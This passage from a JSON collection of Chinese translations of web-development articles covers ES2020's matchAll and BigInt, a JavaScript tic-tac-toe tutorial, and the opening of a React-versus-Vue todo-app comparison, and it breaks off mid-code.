kg”的字符串，我们需要解析字符串得到价格、重量和度量单位。（当然有更好的方法来设计这个应用程序，以避免像上面这样解析字符串，这是为了演示下一个特性而设置的。）我们可以使用 `String.prototype.matchAll()` 来提取必要的数据：\n\n```JavaScript\nconst matchResults = [...weightAndPrice.matchAll(/\\d+|lb|kg/g)]\n```\n\n这一行代码包含了很多内容：基于正则表达式来查找字符串中的数字和字符串匹配项“lb”或“kg”。它返回一个可以拓展到数组中的迭代器，这个数组最终包括三个分别相匹配的元素（200、10 和“kg”）。\n\n这个特性可能是所有新特性中最难理解的一个，尤其是如果你对正则表达式不是很熟悉的话。 `String.prototype.matchAll()` 可以简短解释为是对 `String.prototype.match()` 和 `RegExp.prototype.exec()` 功能的改进。这个新方法允许你将字符串与正则表达式进行匹配，并返回所有匹配结果的迭代器，包括捕获组。\n\n明白以上的基本概念了吗？让我们看看另一个有助于巩固这一概念的例子：\n\n```JavaScript\nconst regexp = /t(e)(st(\\d?))/\nconst regexpWithGlobalFlag = /t(e)(st(\\d?))/g\nconst str = 'test1test2'\n\n// 使用 `RegExp.prototype.exec()`\nconst matchFromExec = regexp.exec(str)\nconsole.log(matchFromExec)\n// [\"test1\", \"e\", \"st1\", \"1\", index: 0, input: \"test1test2\", groups: undefined]\n\n// 对**不带**全局标志的正则表达式使用 `String.prototype.match()` 将返回捕获组\nconst matchFromMatch = str.match(regexp)\nconsole.log(matchFromMatch)\n// [\"test1\", \"e\", \"st1\", \"1\", index: 0, input: \"test1test2\", groups: undefined]\n\n// 对具有全局标志的正则表达式使用 `String.prototype.matchAll()` 不会返回捕获组 :(\nconst matchesFromMatchWithGlobalFlag = str.match(regexpWithGlobalFlag)\nfor (const match of matchesFromMatchWithGlobalFlag) {\n  console.log(match)\n}\n// test1\n// test2\n\n// 正确使用 `String.prototype.matchAll()` 可以返回使用全局标志时的捕获组  :)\nconst matchesFromMatchAll = str.matchAll(regexpWithGlobalFlag)\nfor (const match of matchesFromMatchAll) {\n  console.log(match)\n}\n// [\"test1\", \"e\", \"st1\", \"1\", index: 0, input: \"test1test2\", groups: undefined]\n// [\"test2\", \"e\", \"st2\", \"2\", index: 5, input: \"test1test2\", groups: undefined]\n\n```\n\n## 7. BigInt\n\n最后，当使用普通数字时，可以简单地用重量除以价格来计算单价。但是当需要使用大数时，ES2020 引入了 `BigInt` 以在不损失精度的情况下对大整数进行计算。在我们的应用程序中，使用 `BigInt` 比较过犹不及，但是谁知道会不会出现 API 接口改变的情况，包括一些疯狂的批量交易呢！\n\n```JavaScript\nconst price = BigInt(matchResults[0][0])\nconst priceInPennies = BigInt(matchResults[0][0] * 100)\nconst weight = BigInt(matchResults[1][0])\nconst unit = matchResults[2][0]\n\nconst unitPriceInPennies = Number(priceInPennies / weight)\nconst unitPriceInDollars = unitPriceInPennies / 100\nconst unitPriceFormatted = unitPriceInDollars.toFixed(2)\n```\n\n如果你曾经处理过包含大数的数据，那么就知道在执行 JavaScript 数学操作时确保数字数据的完整性是多么痛苦。在 ES2020 发布前可以安全存储的最大整数是`Number.MAX_SAFE_INTEGER`，即 2^53-1。\n\n如果试图在变量中存储大于该值的数字，则有时该数字将无法正确存储：\n\n```JavaScript\nconst biggestNumber = Number.MAX_SAFE_INTEGER // 9007199254740991\n\nconst incorrectLargerNumber = biggestNumber + 10\n// 应该是： 9007199254741001\n// 实际存储为： 9007199254741000\n```\n\n新的 `BigInt` 数据类型有助于解决此问题，还能够处理更大的整数。只需对整数调用 `BigInt()` 函数或者将字母 `n` 附加到整数的末尾，就可以将整数设为 `BigInt`数据类型：\n\n```JavaScript\nconst biggestNumber = BigInt(Number.MAX_SAFE_INTEGER) // 9007199254740991n\n\nconst correctLargerNumber = biggestNumber + 10n\n// 应该是： 9007199254741001n\n// 实际存储为： 9007199254741001n\n```\n\n## 总结\n\n如上所述！既然你已经了解了 ES2020 的所有新特性，那还等什么呢？马上开始写新的 JavaScript 项目吧！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/i-built-tic-tac-toe-with-javascript.md",
    "content": "> * 原文地址：[I Built Tic Tac Toe With JavaScript](https://mitchum.blog/i-built-tic-tac-toe-with-javascript/)\n> * 原文作者：[MITCHUM](https://mitchum.blog/author/mitchm/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/i-built-tic-tac-toe-with-javascript.md](https://github.com/xitu/gold-miner/blob/master/TODO1/i-built-tic-tac-toe-with-javascript.md)\n> * 译者：[lgh757079506](https://github.com/lgh757079506)\n> * 校对者：[portandbridge](https://github.com/portandbridge)，[TokenJan](https://github.com/TokenJan)\n\n# 用 JavaScript 实现一个井字棋游戏\n\n在我上一篇文章中，我向大家展示了[匹配类游戏](https://www.mitchum.blog/i-built-a-simple-matching-game-with-javascript/)，文中介绍到我是使用 JavaScript 实现并简单谈了一下前端[ web 技术](https://mitchum.blog/how-a-dynamic-web-application-works-an-epic-tale-of-courage-and-sacrifice/)。 我得到了很好的反馈，所以在本周的文章中我决定讲解一个由 Javascript 实现的游戏[井字棋](https://www.mitchum.blog/games/tic-tac-toe/tic-tac-toe.html)并详细介绍其实现方案。在本项目中，我还尝试挑战不使用任何外部 Javascript 依赖库去实现它.\n\n[点这里](https://www.mitchum.blog/games/tic-tac-toe/tic-tac-toe.html) 去玩下井字棋游戏吧！\n\n这里有两个难度等级：小白（moron）和天才（genius）。挑战成功 moron 的话，试下能否挑战成功 genius 级别。genius 要比 moron 更难对付，不过 genius 采取的玩法有点轻敌，并非真的那么精明。正在读文章的朋友，我保证你能凭借你的智慧发现能赢得游戏的奥秘。\n\n## 实现过程\n\n井字棋游戏使用了三个基本的前端技术：HTML、CSS 和 JavaScript。我会向你逐个介绍实现源码并讲解它们各自的作用。以下是这三个文件：\n\n[tic-tac-toe.html](https://mitchum.blog/games/tic-tac-toe/tic-tac-toe.html)\n\n[tic-tac-toe.css](https://mitchum.blog/games/tic-tac-toe/tic-tac-toe.css)\n\n[tic-tac-toe.js](https://mitchum.blog/games/tic-tac-toe/tic-tac-toe.js)\n\n### HTML\n\n##### HTML 的头部\n\n让我们从 head 标签开始。这个标签位于每个 HTML 文档开头。这里将存放一些影响页面整体的元素标签。\n\n```html\n<head>\n    <title>Tic Tac Toe</title>\n    <link rel=\"stylesheet\" href=\"tic-tac-toe.css\">\n    <link rel=\"shortcut icon\" \n          href=\"https://mitchum.blog/wp-content/uploads/2019/05/favicon.png\" />\n</head>        \n```\n\nhead 标签中包含了三个子标签：一个 title 标签和两个 link 标签。浏览器中的选项卡处会展示 title 标签中的内容。本例中为“Tic Tac Toe”。第二个 link 标签设定了我们想展示在选项卡中的图标的链接。他们组合起来将是下面的样子：\n\n![Browser tab for javascript Tic Tac Toe game](https://i1.wp.com/mitchum.blog/wp-content/uploads/2019/06/tab.png?w=740&ssl=1)\n\n第一个 link 标签包含对[tic-tac-toe.css](https://mitchum.blog/games/tic-tac-toe/tic-tac-toe.css)文件的引用。这个文件可以让我们为 HTML 文档添加颜色和定位等样式。如果没有此文件，我们的游戏将会显得比较沉闷。\n\n![Tic Tac Toe game without css applied](https://i2.wp.com/mitchum.blog/wp-content/uploads/2019/06/htmlonly-1.png?w=740&ssl=1)\n\n这个是没有任何样式下的我们页面的样子。\n\n接下来我们展示 HTML 文档主体。我们将其拆分为两部分：游戏界面和控制栏。我们先从游戏界面开始。\n\n##### 游戏界面\n\n我们将使用 table 标签来布局井字棋游戏界面。代码如下：\n\n```html\n<table class=\"board\">\n<tr>\n  <td>\n      <div id=\"0\" class=\"square left top\"></div>\n  </td>\n  <td>\n      <div id=\"1\" class=\"square top v-middle\"></div>\n  </td>\n  <td>\n      <div id=\"2\" class=\"square right top\"></div>\n  </td>\n</tr>\n<tr>\n  <td>\n      <div id=\"3\" class=\"square left h-middle\"></div>\n  </td>\n  <td>\n      <div id=\"4\" class=\"square v-middle h-middle\"></div>\n  </td>\n  <td>\n      <div id=\"5\" class=\"square right h-middle\"></div>\n  </td>\n</tr>\n<tr>\n  <td>\n      <div id=\"6\" class=\"square left bottom\"></div>\n  </td>\n  <td>\n      <div id=\"7\" class=\"square bottom v-middle\"></div>\n  </td>\n  <td>\n      <div id=\"8\" class=\"square right bottom\"></div>\n  </td>\n</tr> \n</table>\n```\n\n我们为 table 标签添加“board”类，以便为其添加样式。该区域有三个 row 标签，每个标签中包含三个用于存放数据的标签。这就组成了一个 3×3 游戏面板。我们为其中每个格子设置其 id 为数字并且设置一些表示其位置的 class 名。\n\n##### 控制栏\n\n我所说的控制栏部分包含一个消息框，几个按钮和一个下拉列表。代码如下：\n\n```html\n<br>\n<div id=\"messageBox\">Pick a square!</div>\n<br>\n<div class=\"controls\">\n <button class=\"button\" onclick=\"resetGame()\">Play Again</button> \n <form action=\"https://mitchum.blog/sneaky-subscribe\" \n       style=\"display: inline-block;\">\n    <button class=\"button\" type=\"submit\">Click Me!</button> \n </form>\n <select id=\"difficulty\">\n   <option value=\"moron\" selected >Moron</option>\n   <option value=\"genius\">Genius</option>\n </select>\n</div>\n```\n\n消息框位于两个换行符之间。第二个换行符后面是一个包含其余部分的 div 标签。play again 按钮有一个点击事件，可以在[tic-tac-toe.js](https://mitchum.blog/games/tic-tac-toe/tic-tac-toe.js)文件中调用 Javascript 函数。Click Me 按钮被包含在 form 标签中。最后，select 标签包含两个 options 标签：其内容为 moron 和 genius。moron 为默认选中状态。\n\n每一个 HTML 元素都被指定为各种类名和 id 名，它们在游戏逻辑和样式方面起了不小的作用。我们来看下样式部分是如何编写的。\n\n## CSS\n\n我会分几部分讲解[tic-tac-toe.css](https://mitchum.blog/games/tic-tac-toe/tic-tac-toe.css)文件的内容，因为我觉得这样会使读者更容易理解。\n\n##### 基础元素\n\n第一部分（包含的代码）负责为 body, main 和 h1 标签设置样式。body 标签上使用 RGB 值设置页面背景为浅蓝色。\n\nmain 标签上设置 max-width, padding 和 margin 属性将游戏界面居中于屏幕。这个精美而简洁的样式风格是我从[这篇博文](https://jrl.ninja/etc/1/)中借鉴的。\n\nh1 标签包含着大写的标题“Tic Tac Toe”，然后我们将其设置为黄色字体并居中。\n\n代码如下：\n\n![CSS styling for the page](https://i2.wp.com/mitchum.blog/wp-content/uploads/2019/06/css1.png?w=740&ssl=1)\n\n##### 控制栏\n\n接下来我们将讨论 message 框，难度下拉列表和整行控制区的样式.\n\n我们将文本消息框居中并设置字体颜色为黄色。然后我们设置边框并使用圆角。\n\n我们设置难度下拉列表的大小，并且设置了圆角，还设置了字体大小，颜色和位置信息。\n\n我们对控制栏唯一需要调整的是确保其中所有元素都为居中状态。\n\n代码如下：\n\n![ CSS styling for the controls](https://i0.wp.com/mitchum.blog/wp-content/uploads/2019/06/css2.png?w=740&ssl=1)\n\n##### 游戏面板\n\n接下来要处理井字格的样式了。我们需要设置每个格子的大小，颜色和文本位置。更重要的是，我们需要在适当的位置显示边框。我们添加了几个 class 来标识游戏面板上的格子的位置，来实现著名的井字棋游戏。 我们还改变了边框的大小让它更有三维空间的感觉。\n\n![CSS styling for the tic tac toe board](https://i0.wp.com/mitchum.blog/wp-content/uploads/2019/06/css3.png?w=740&ssl=1)\n\n##### 按钮\n\n最后我们来看下按钮的样式。我必须承认，我从[w3schools](https://www.w3schools.com/css/tryit.asp?filename=trycss_buttons_animate3)借用部分样式。但是，我确实进行了修改以适应我们的配色方案。\n\n![CSS styling for the buttons](https://i0.wp.com/mitchum.blog/wp-content/uploads/2019/06/css4.png?w=740&ssl=1)\n\n好啦，这就是 CSS 部分！现在我们终于可以进入有趣的部分：JavaScript。\n\n### JavaScript\n\n正如所料，JavaScript 代码是 tic tac toe 游戏中最复杂的部分。我将描述基本结构和人工智能部分，但我不是去介绍每一个功能。相反，我将把它作为练习让你阅读代码并理解每个函数是如何实现的。方便起见，这些函数已经被“加粗”。\n\n如果代码中的某些部分让你困惑，请留言，我会为你详细解释！如果你能想出更好的实现方式，我也很乐意在评论中听到你的反馈意见。目的是让每个人都学到更多，与此同时可以收获快乐。\n\n##### 基本结构\n\n我们需要做的第一件事就是初始化一些变量。我们有几个变量用于存储游戏状态：一个用于表示游戏是否结束，另一个则表示游戏的难度级别。\n\n我们还有一些变量用于存储一些有用的信息：格子用数组存储，格子数量和胜利条件。我们的游戏面板是有一系列数字代表，还有八种可能的胜利条件。因此，胜利条件由一个包含八个数组的二维数组表示，每个数组对应一个可能获胜的三个格子组合。\n\n代码如下：\n\n![initialization javascript variables](https://i2.wp.com/mitchum.blog/wp-content/uploads/2019/06/css5.png?w=740&ssl=1)\n\n考虑到这点，让我们看下这个程序是如何运作的。这个游戏是[事件驱动](https://en.wikipedia.org/wiki/Event-driven_architecture)型。你点击的某些区域，代码都会作出响应，然后在屏幕上看到效果。当你点击“Play Again”按钮，游戏面板将会重置并且你可以进行下一轮的 tic tac toe 游戏。当你改变难度级别时，游戏会根据你的不同操作作出相应操作。\n\n当然最重要事情的还是当玩家点击某个格子时的反馈。有许多需要检查的地方。这个逻辑大部分在名为**chooseSquare**的顶级函数中。\n\n代码如下:\n\n![Javascript for choosing a tic tac toe square.](https://i1.wp.com/mitchum.blog/wp-content/uploads/2019/06/js2.png?w=740&ssl=1)\n\n##### 代码解读\n\n让我们一起通读代码。\n\n**176 行：** 我们需要做的第一件事就是将变量 difficulty 设置为下拉列表中选择的内容。这很重要，因为我们的人工智能会根据此变量以确定需要进行的操作。\n\n**177 行：** 第二件事是检查游戏是否结束。如果没有我们可以继续。否则，将会停止。\n\n**179 – 181 行：** 第三，我们将显示给玩家的消息默认设置为“Pick a square!”。我们通过调用 **setMessageBox** 函数实现。然后我们变量存储玩家选择的格子的 id 值和此 id 的dom节点。\n\n**182 行：** 我们通过调用 **squareIsOpen** 函数检查格子是否是开放状态。如果已经被标记，玩家就不能对方格进行操作。在相应的 else 代码块中我们提示他。\n\n**184 - 185 行：** 由于格子状态是开放的，我们将标记设为“X”。然后我们通过调用 **checkForWinCondition** 函数检查我们是否胜利。如果我们胜利了，我们将返回一个包含获胜组合的数组。如果输掉游戏我们返回 false。这是行得通的，因为 Javascript 不是[强类型](https://en.wikipedia.org/wiki/Type_safety)语言。\n\n**186 行：** 如果玩家没有赢得比赛，那游戏继续，以便他的对手可以继续下一步操作。如果玩家确实赢了，那么相应的 else 代码块将通过把结束游戏变量变为 true，通过调用 **highlightWinningSquares** 函数将获胜格子变为绿色，并设置获胜消息。\n\n**188 – 189 行：** 现在玩家的操作已完成，我们需要计算机做出操作。名为 **opponentMove** 的函数会解决这个问题，稍后将详细讨论。现在我们需要通过调用我们在 185 行使用的那个函数来检查玩家是否输了，但这次以“O”作为参数。这就是复用！\n\n**190 行：** 如果电脑输了，那么我们必须继续，以便我们可以检查是否平局。如果计算机获胜，那么相应的 else 代码块将通过将结束游戏变量设为 true 来处理它，通过调用 **highlightWinningSquares** 函数，设置失败信息，且将获胜方的格子设为红色。\n\n**192 – 197 行** 我们通过调用 **checkForDraw** 函数检查是否平局。如果没有获胜条件且没有更多可行的操作，那么我们必须定为平局。如果已经为平局，那么我们将游戏结束变量设为 true 并设置平局的消息。\n\n这是游戏的主逻辑！函数剩余部分就是我们已经介绍的相应 else 代码块中的逻辑。正如前面说的，请阅读其他函数以更全面的了解游戏的工作原理。\n\n##### 人工智能\n\n有两个难度级别：moron 和 genius。moron 总是按照 id 的顺序取第一个可用的格子。为了保持这种有序的模式，他将牺牲一场胜利，即使是为了防止失败，他也不会偏离他。他很傻。\n\ngenius 会复杂得多。他会在那里获胜，他会尽力防止输掉游戏。后手会使他处于劣势，所以他更喜欢中心的格子保持其防守姿势。但是，他确实有可以利用的弱点。他遵循一套更好的规则，但并不擅长临机应变。当他找不到一个明显的操作步骤时会让他恢复到 moron 模式。\n\n代码如下：\n\n![AI top level javascript function](https://i0.wp.com/mitchum.blog/wp-content/uploads/2019/06/js4.png?w=740&ssl=1)\n\n顶级的 AI 函数\n\n![AI implementation details in javascript](https://i2.wp.com/mitchum.blog/wp-content/uploads/2019/06/js5.png?w=740&ssl=1)\n\nAI 实现细节\n\n你理解算法的话，请在评论中告诉我们可以做出哪些优化将我们的游戏变的更加智能！\n\n(adsbygoogle = window.adsbygoogle || \\[\\]).push({});\n\n### 总结\n\n这篇文章中我展示了使用 Javascript 实现的 Tic Tac Toe 游戏。然后我们了解了它是如何实现的以及人工智能是如何工作的。让我知道你的想法吧，以及你希望我在未来做一些怎样的游戏。我只是一个人，能力有限，做不出使命召唤那样的游戏大作。\n\n如果你想进一步了解如何用 Javascript 编写更好的程序，我推荐一本由大神 Douglas Crockford 编写的 [JavaScript: The Good Parts](https://amzn.to/2XrvPrt) 书。随时间发展这门语言有显著改善，但由于其发展历史，它仍然具有一些奇怪的特性。这本书很好地帮你了解更多有质疑空间的设计选择。我在学习 JavaScript 的过程中发现它对我的帮助很大。\n\n如果你想购买它，并会浏览上面的链接，我将不胜感激。我将通过亚马逊的联盟计划获得佣金，对你无需额外费用。这样可以支持我继续运营本站。\n\n感谢阅读，下期见！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/i-created-the-exact-same-app-in-react-and-vue-here-are-the-differences.md",
    "content": "> * 原文地址：[I created the exact same app in React and Vue. Here are the differences.](https://medium.com/javascript-in-plain-english/i-created-the-exact-same-app-in-react-and-vue-here-are-the-differences-e9a1ae8077fd)\n> * 原文作者：[Sunil Sandhu](https://medium.com/@sunilsandhu?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/i-created-the-exact-same-app-in-react-and-vue-here-are-the-differences.md](https://github.com/xitu/gold-miner/blob/master/TODO1/i-created-the-exact-same-app-in-react-and-vue-here-are-the-differences.md)\n> * 译者：[jonjia](https://github.com/jonjia)\n> * 校对者：[ssshooter](https://github.com/ssshooter) [huangyuanzhen](https://github.com/huangyuanzhen)\n\n# 用 React 和 Vue 创建了两个完全相同的应用后，发现了这些差异\n\n在工作中使用 Vue 一段时间后，对它的工作原理有了相当深入的了解。然而，我很想知道篱笆另一边的草地是什么样 - React。\n\n我已经阅读了 React 文档，也观看了一些教程视频，虽然它们都很棒，但我真正想知道的是 React 与 Vue 到底有什么不同。这里的「不同」不是指它们是否具有虚拟 DOM 或者它们如何渲染页面。我希望有人能直接解释代码并告诉我会发生什么！我想找到一篇能解释这些差异的文章，那样 Vue、React (或者 Web 开发)的新手就可以更好地理解两者之间的差异了。\n\n但我找不到任何解决这个问题的资源。所以我意识到必须靠自己来解决这个问题，发现它们之间的相似之处和不同之处。在这样做时，我想记录下整个过程，所以最终就有了这样一篇文章。\n\n![](https://cdn-images-1.medium.com/max/800/1*ubWUG5LqQ0ak6wvFJtexHA.png)\n\n你 pick 谁？\n\n我决定构建一个标准的 Todo 列表应用，允许用户添加、删除列表中的项目。两个应用都使用默认的 CLI (React 的 create-react-app，Vue 的 vue-cli) 来构建。顺便说一下，CLI 表示命令行界面。🤓\n\n### 因为这篇文章的篇幅已经超出了我的预期，所以让我们首先快速了解下这两个应用：\n\n![](https://cdn-images-1.medium.com/max/2000/1*mJ-qdNqldpgae2U5oS0qDg.png)\n\nVue vs React：势均力敌\n\n两个应用的 CSS 代码完全相同，但这些代码的位置不同。为了说明这一点，我们先看看两个应用的文件结构，如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*rahCwWEIXM7Wblk4L9ExYA.png)\n\n你 pick 谁？\n\n可以发现，它们的结构几乎相同。唯一不同是：React 应用有 3 个 CSS 文件；Vue 应用一个也没有。这样做的原因是：在 create-react-app 中，每个 React 组件都会附带一个样式文件来保存其样式；而 Vue CLI 采取单文件组件，每个组件的样式都会在组件内部声明。\n\n最终，它们都达到了同样目的，你也可以在 React 或 Vue 中以不同方式构建自己的 CSS。这完全取决于个人偏好 - 你会在开发社区中听到许多关于如何构建 CSS 的讨论。现在，我们会遵循两个 CLI 中列出的结构。\n\n但在进一步讨论之前，让我们先看看典型的 Vue 和 React 组件是什么样的：\n\n![](https://cdn-images-1.medium.com/max/1000/1*yQS8va-QXM2poiP-RqasOw.png)\n\n左边是 Vue 组件，右边是 React 组件。\n\n现在开始，让我们深入了解细节吧！\n\n### **如何改变数据？**\n\n首先，「改变数据」是什么意思？听起来有些技术含量不是吗？它基本上表示改变我们存储的数据。因此，如果我们想将一个人的名字从 John 改为 Mark，我们就需要「改变数据」。这是 React 和 Vue 之间的关键区别所在。Vue 本质上创建了一个数据对象，其中的数据可以自由更新；而 React 创建了一个状态对象，就需要更多的工作来完成更新。React 有充分的理由要求额外的工作，我们会稍微介绍一下。但首先，让我们看一下 Vue 中的 **data** 对象和 React 中的 **state** 对象：\n\n![](https://cdn-images-1.medium.com/max/600/1*b9BjPHgneHv2K6ZYlAoe8A.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*asy_vlGoZgtA3sAA7Dw4CA.png)\n\n左边是 Vue data 对象，右边是 React state 对象。\n\n你可以看到我们给两个对象传递了相同的数据，只是标识符不同。将初始数据传入组件的方式非常相似。但正如上面提到的，如何改变这些数据在两个框架之间会有所不同。\n\n假设有一个名为 name 的数据元素，它的值是：'Sunil'。\n\n在 Vue 中，我们通过 `this.name` 来引用它。也可以通过 `this.name = 'John'` 来更新它。这会把我的名字改为 John。\n\n在 React 中，我们需要通过 `this.state.name` 来引用相同的数据。现在关键区别在于我们不能简单地通过 `this.state.name = 'John'`，因为 React 内部机制会防止这种简单、轻易的改变。所以在 React 中，我们会通过 `this.setState({ name: 'John' })` 来更新数据。\n\n虽然这和我们在 Vue 中的方法都能实现相同目的，但 React 内部为防止我们意外地覆盖 `this.state` 有一些额外代码，`this.state` 和 `this.setState` 之间区别明显。有些理由说明了为什么 React 改变数据的方式与 Vue 不同，[Revanth Kumar](https://medium.com/@revanth0212) 的解释如下：\n\n> 这是因为 React 希望在状态发生变化时重新执行某些生命周期方法，如 componentWillReceiveProps、shouldComponentUpdate、componentWillUpdate、render 和 componentDidUpdate。当你调用 setState 方法时，它会很快知道状态发生了改变。如果你直接修改 state，React 需要做更多工作来跟踪修改以及重新运行生命周期方法等等。所以为了简单起见，React 使用 setState 方法。\n\n![](https://cdn-images-1.medium.com/max/800/1*IugEwe6Lkm5iFB-Q9zvc5w.jpeg)\n\n肖恩·宾很有经验（Sean Bean：《指环王：护戒使者》中博罗米尔扮演者，其中台词 “One does not simply walk into Mordor（魔多不是你想去就能去的），此处为：`this.state` 不是你想用就能用的）\n\n现在我们已经知道如何改变数据，然后来看看如何在 Todo 列表应用中添加新项目。\n\n### **如何添加一个新的 Todo 项？**\n\n#### **React**：\n\n```\ncreateNewToDoItem = () => {\n    this.setState( ({ list, todo }) => ({\n      list: [\n          ...list,\n        {\n          todo\n        }\n      ],\n      todo: ''\n    })\n  );\n};\n```\n\n#### 使用 React 如何实现？\n\n在 React 中，input 元素的 `value` 属性被绑定到了 `this.state.todo` 这个值上。这个值可以通过调用一些函数实现自动更新，这些函数绑定到一起就创建了**双向数据绑定**（如果你之前没听过，在后面的**使用 Vue 如何实现**部分有更详细的解释）。React 通过在 input 元素上绑定 onChange 方法来实现双向绑定。让我们来看看 input 元素是什么样的，然后再来解释原理：\n\n```\n<input type=\"text\" \n       value={this.state.todo} \n       onChange={this.handleInput}/>\n```\n\n如果 input 元素的值发生变化，handleInput 方法就会被调用。它会使用 input 中的内容来更新 state 对象中 todo 的值。这个函数如下：\n\n```\nhandleInput = e => {\n  this.setState({\n    todo: e.target.value\n  });\n};\n```\n\n现在，每当用户按下页面上的 + 按钮添加新项目时，createNewToDoItem 函数就会运行 `this.setState` 方法并向其传递一个函数作为参数。这个函数有两个参数，第一个是来自 state 对象的整个 list 数组，第二个是新的 todo（由 handleInput 函数更新）项。然后该函数返回一个新对象，该对象包含之前的整个 list，然后在 list 末尾添加新的 todo 项。整个 list 是使用扩展运算符添加的（如果你以前没有看过这个语法可以搜索一下，这是 ES6 语法）。\n\n最后，我们将 todo 设置为空字符串，它会自动更新 input 元素的值。\n\n#### Vue：\n\n```\ncreateNewToDoItem() {\n    this.list.push(\n        {\n            'todo': this.todo\n        }\n    );\n    this.todo = '';\n}\n```\n\n#### 使用 Vue 如何实现？\n\n在 Vue 中，input 元素有一个名为 v-model 的指令。可以帮助我们创建**双向数据绑定**。先看看 input 元素是什么样的，然后再来解释原理：\n\n```\n<input type=\"text\" v-model=\"todo\"/>\n```\n\nV-Model 指令将 input 元素的值绑定到数据对象中的 toDoItem。当页面加载时，我们通过 `todo: ''` 将 toDoItem 设置为空字符串。如果这里已经有一些数据，例如 `todo: '原有 todo'`，input 元素会使用已有数据**原有 todo** 作为初始值。无论如何，假设使用空字符串作为初始值，我们在 input 元素输入的任何文本都绑定到 todo 上。这实际上就是双向绑定（input 元素可以更新数据对象，数据对象也可以更改 input 元素的值）。\n\n所以回顾前面 createNewToDoItem() 代码，我们看到它将 todo 的内容添加到 list 数组，然后将 todo 更新为空字符串。\n\n### 如何删除列表中的 Todo 项？\n\n#### React：\n\n```\ndeleteItem = indexToDelete => {\n    this.setState(({ list }) => ({\n      list: list.filter((toDo, index) => index !== indexToDelete)\n    }));\n};\n```\n\n#### 使用 React 如何实现？\n\n虽然 deleteItem 方法定义在 **ToDo.js** 文件中，但先将 **deleteItem()** 方法作为 **<ToDoItem/>** 组件的 prop 传递进去，在 **ToDoItem.js** 内部引用它也就很容易了，写法如下：\n\n```\n<ToDoItem deleteItem={this.deleteItem.bind(this, key)}/>\n```\n\n首先将方法传递到子组件，使其可以访问。同样可以看到我们绑定了 **this**，并把 key 作为参数传递，key 用来区分点击删除的是哪个 **ToDoItem**。然后，在 **ToDoItem** 内部，代码如下：\n\n```\n<div className=\"ToDoItem-Delete\" onClick={this.props.deleteItem}>-</div> \n```\n\n所有需要引用父组件中的一个方法只通过 **this.props.deleteItem** 就可以实现。\n\n#### Vue：\n\n```\nonDeleteItem(todo){\n  this.list = this.list.filter(item => item !== todo);\n}\n```\n\n#### 使用 Vue 如何实现？\n\nVue 应用需要稍微不同的方法。基本上分为三步：\n\n首先，在元素上绑定点击事件处理方法：\n\n```\n<div class=\"ToDoItem-Delete\" @click=\"deleteItem(todo)\">-</div>\n```\n\n然后，创建一个调用 emit 方法的函数作为子组件（这个例子中，就是 **ToDoItem.vue** 组件）内部方法，如下：\n\n```\ndeleteItem(todo) {\n    this.$emit('delete', todo)\n}\n```\n\n除此之外，当我们在 **ToDo.vue** 中添加 **ToDoItem.vue** 时，我们实际引用了一个**函数**：\n\n```\n<ToDoItem v-for=\"todo in list\" \n          :todo=\"todo\" \n          @delete=\"onDeleteItem\" // <-- 这里 :)\n          :key=\"todo.id\" />\n```\n\n这就是所谓的自定义事件监听器。它会监听任何由 emit 触发名为 delete 的事件发生的场合。如果监听到，就会触发执行名为 **onDeleteItem** 的方法。这个方法定义在 **ToDoItem.vue** 组件内部而不是 **ToDoItem.vue** 组件。这个方法，正如上面所示，会过滤 **data 对象**内的 **todo 数组**并移除点击的项目。\n\n这里值得注意的是：在 Vue 应用中，也可以把 `$emit` 部分写到**@click** 指令中，如下：\n\n```\n<div class=\"ToDoItem-Delete\" @click=\"this.$emit('delete', todo)\">-</div> \n```\n\n这样可以将步骤从 3 步减少到 2 步，这也仅仅取决于个人偏好。\n\n简而言之，React 中的子组件可以通过 **this.props** 访问父组件（假设你向下传递 props，这是相当标准的做法，你会在其它 React 示例中多次看到）中的方法，而在 Vue 中，你必须从子组件内部发出通常在父组件内监听的事件。\n\n### 如何传递事件监听器？\n\n#### React：\n\n简单事件（如点击事件）的事件监听器是直截了当的。以下是我们为新建 ToDo 项按钮绑定 click 事件监听的示例：\n\n```\n<div className=\"ToDo-Add\" 